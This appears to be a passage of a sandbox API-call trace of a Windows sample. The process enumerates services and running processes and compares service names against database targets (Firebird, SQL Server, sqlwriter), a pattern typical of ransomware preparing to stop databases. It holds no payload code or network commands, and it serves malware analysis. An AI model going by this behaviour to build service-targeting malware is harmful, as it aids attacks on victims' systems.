	[0164.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0164.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0164.846] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0164.846] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0164.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0164.846] lstrlenW (lpString="SamSs") returned 5
	[0164.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0164.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0164.846] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0164.846] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0164.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0164.846] lstrlenW (lpString="Schedule") returned 8
	[0164.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0164.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0164.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0164.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0164.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0164.846] lstrlenW (lpString="SecurityHealthService") returned 21
	[0164.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0164.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0164.846] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0164.846] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0164.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0164.846] lstrlenW (lpString="SENS") returned 4
	[0164.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0164.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0164.846] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0164.846] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0164.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0164.864] lstrlenW (lpString="ShellHWDetection") returned 16
	[0164.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0164.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0164.865] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0164.865] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0164.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0164.865] lstrlenW (lpString="Spooler") returned 7
	[0164.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0164.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0164.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0164.865] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0164.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0164.865] lstrlenW (lpString="StateRepository") returned 15
	[0164.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0164.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0164.865] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0164.865] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0164.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0164.865] lstrlenW (lpString="SysMain") returned 7
	[0164.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0164.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0164.865] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0164.865] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0164.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0164.865] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0164.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0164.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0164.865] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0164.865] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0164.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0164.865] lstrlenW (lpString="Themes") returned 6
	[0164.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0164.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0164.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0164.865] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0164.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0164.866] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0164.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0164.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0164.866] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0164.866] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0164.866] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0164.866] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x554
	[0164.871] Process32FirstW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0164.871] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0164.871] lstrlenW (lpString="System") returned 6
	[0164.871] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0164.872] lstrlenW (lpString="smss.exe") returned 8
	[0164.872] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0164.872] lstrlenW (lpString="csrss.exe") returned 9
	[0164.872] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0164.873] lstrlenW (lpString="wininit.exe") returned 11
	[0164.873] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0164.873] lstrlenW (lpString="csrss.exe") returned 9
	[0164.873] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0164.873] lstrlenW (lpString="winlogon.exe") returned 12
	[0164.873] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0164.874] lstrlenW (lpString="services.exe") returned 12
	[0164.874] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0164.874] lstrlenW (lpString="lsass.exe") returned 9
	[0164.874] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0164.875] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0164.875] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0164.875] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0164.875] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.876] lstrlenW (lpString="svchost.exe") returned 11
	[0164.876] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.876] lstrlenW (lpString="svchost.exe") returned 11
	[0164.876] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0164.876] lstrlenW (lpString="dwm.exe") returned 7
	[0164.876] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.877] lstrlenW (lpString="svchost.exe") returned 11
	[0164.877] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.877] lstrlenW (lpString="svchost.exe") returned 11
	[0164.877] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.878] lstrlenW (lpString="svchost.exe") returned 11
	[0164.878] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.878] lstrlenW (lpString="svchost.exe") returned 11
	[0164.878] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.879] lstrlenW (lpString="svchost.exe") returned 11
	[0164.879] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.879] lstrlenW (lpString="svchost.exe") returned 11
	[0164.879] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.879] lstrlenW (lpString="svchost.exe") returned 11
	[0164.879] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.880] lstrlenW (lpString="svchost.exe") returned 11
	[0164.880] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.880] lstrlenW (lpString="svchost.exe") returned 11
	[0164.880] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.881] lstrlenW (lpString="svchost.exe") returned 11
	[0164.881] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0164.881] lstrlenW (lpString="spoolsv.exe") returned 11
	[0164.881] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.881] lstrlenW (lpString="svchost.exe") returned 11
	[0164.881] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0164.882] lstrlenW (lpString="audiodg.exe") returned 11
	[0164.882] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0164.882] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0164.882] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0164.883] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0164.883] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0164.883] lstrlenW (lpString="Memory Compression") returned 18
	[0164.883] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0164.884] lstrlenW (lpString="sihost.exe") returned 10
	[0164.884] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.884] lstrlenW (lpString="svchost.exe") returned 11
	[0164.884] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0164.884] lstrlenW (lpString="taskhostw.exe") returned 13
	[0164.884] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0164.885] lstrlenW (lpString="taskhostw.exe") returned 13
	[0164.885] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0164.885] lstrlenW (lpString="explorer.exe") returned 12
	[0164.885] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0164.886] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0164.886] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0164.886] lstrlenW (lpString="SearchUI.exe") returned 12
	[0164.886] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0164.886] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0164.887] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0164.887] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0164.887] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0164.887] lstrlenW (lpString="fvppjh.exe") returned 10
	[0164.887] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0164.888] lstrlenW (lpString="cmd.exe") returned 7
	[0164.888] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0164.888] lstrlenW (lpString="conhost.exe") returned 11
	[0164.888] Process32NextW (in: hSnapshot=0x554, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0164.889] CloseHandle (hObject=0x554) returned 1
	[0164.889] Sleep (dwMilliseconds=0x1f4) 
	[0165.965] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c08b8
	[0165.966] EnumServicesStatusExW (in: hSCManager=0x41c08b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0165.966] GetLastError () returned 0xea
	[0165.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0165.967] EnumServicesStatusExW (in: hSCManager=0x41c08b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0165.967] CloseServiceHandle (hSCObject=0x41c08b8) returned 1
	[0165.968] lstrlenW (lpString="Appinfo") returned 7
	[0165.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0165.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0165.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0165.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0165.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0165.968] lstrlenW (lpString="AppXSvc") returned 7
	[0165.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0165.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0165.968] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0165.968] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0165.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0165.968] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0165.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0165.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0165.968] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0165.968] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0165.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0165.968] lstrlenW (lpString="Audiosrv") returned 8
	[0165.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0165.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0165.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0165.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0165.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0165.968] lstrlenW (lpString="BFE") returned 3
	[0165.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0165.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0165.968] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0165.968] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0165.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0165.969] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0165.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0165.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0165.969] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0165.969] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0165.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0165.969] lstrlenW (lpString="CDPSvc") returned 6
	[0165.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0165.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0165.969] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0165.969] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0165.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
